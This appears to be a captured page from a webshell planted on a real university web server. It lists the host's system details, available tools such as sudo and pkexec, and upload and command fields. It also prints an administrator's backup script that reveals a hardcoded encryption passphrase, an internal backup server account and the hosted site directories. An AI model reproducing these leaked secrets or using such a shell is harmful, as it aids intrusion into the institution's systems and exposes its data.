403Webshell
Server IP : 172.24.0.40  /  Your IP : 216.73.216.10
Web Server : Apache
System : Linux dbweb26.ust.edu.ph 4.18.0-513.5.1.el8_9.x86_64 #1 SMP Fri Sep 29 05:21:10 EDT 2023 x86_64
User : apache ( 48)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/bin/backupdbwebhost.sh
#!/bin/bash
# Author: Carlo Abiog
# Date Created: July 4, 2024
# Date Modified: June 3, 2024
# March 14, 2025 Added ajels
# March 18, 2025: Added actamanilana
# March 20, 2025: Added pjahs, tomas
# June 3, 2025: Added medicine
# New Web Hosting with Database Backup Script

# 20150131
# DATE_DIR=$(date +%Y%m%d)

# Week Number
echo
echo "IMPORTANT: Run backupwebhost.sh on /home directory"
echo
START=$(date +%s)
echo "START TIME: "`date '+%F %r'`
DATE_DIR=$(date +%Y_%V_dbweb26)
echo
echo "[1/4] backing up configuration files ... Please Wait"
cd /home
tar -czpf "${DATE_DIR}.tar.gz" \
/home/lawjournal/ \
/home/actamanilana/ \
/home/ajels/ \
/home/pjahs/ \
/home/tomas/ \
/etc/hosts \
/etc/hosts.allow \
/etc/crontab \
/etc/fstab \
/etc/httpd/conf.d/ \
/bin/backupdaily.sh \
/bin/backupdbwebhost.sh
echo "[1/4] backing up configuration files ... Done"
echo
echo
echo "[2/4] compressing backup folder ... Please Wait"

#tar -czpf "${DATE_DIR}.tar.gz" "/home/${DATE_DIR}"
#rm -rf "/home/${DATE_DIR}"
#echo "deleting backup folder /home/${DATE_DIR} ... Done"

echo "[2/4] compressing backup folder ... Done"
echo
echo "[3/4] encrypting backup file ... Please Wait"

gpg --batch -c --passphrase "pope francis" "/home/${DATE_DIR}.tar.gz"
rm -rf "/home/${DATE_DIR}.tar.gz"
echo "deleting backup file /home/${DATE_DIR}.tar.gz ... Done"

echo "[3/4] encrypting backup file ... Done"
echo
echo "[4/4] transferring to backup server ... Please Wait"
### destination folder must be owned by the user connecting
scp -r "/home/${DATE_DIR}.tar.gz.gpg" backupadmin@10.1.16.21:/home/backupadmin/webhosting_backup/
rm -rf "/home/${DATE_DIR}.tar.gz.gpg"
echo "deleting encrypted backup file /home/${DATE_DIR}.tar.gz.gpg ... Done"
echo "[4/4] transferring to backup server ... Done"
echo
END=$(date +%s)
echo "END TIME: "`date '+%F %r'`
echo
HOUR=$(((END - START)/3600))
MIN=$((((END - START) - ((HOUR * 3600)))/60))
echo "BACKUP DURATION: ${HOUR} hours and ${MIN} minutes"
echo

Youez - 2016 - github.com/yon3zu
LinuXploit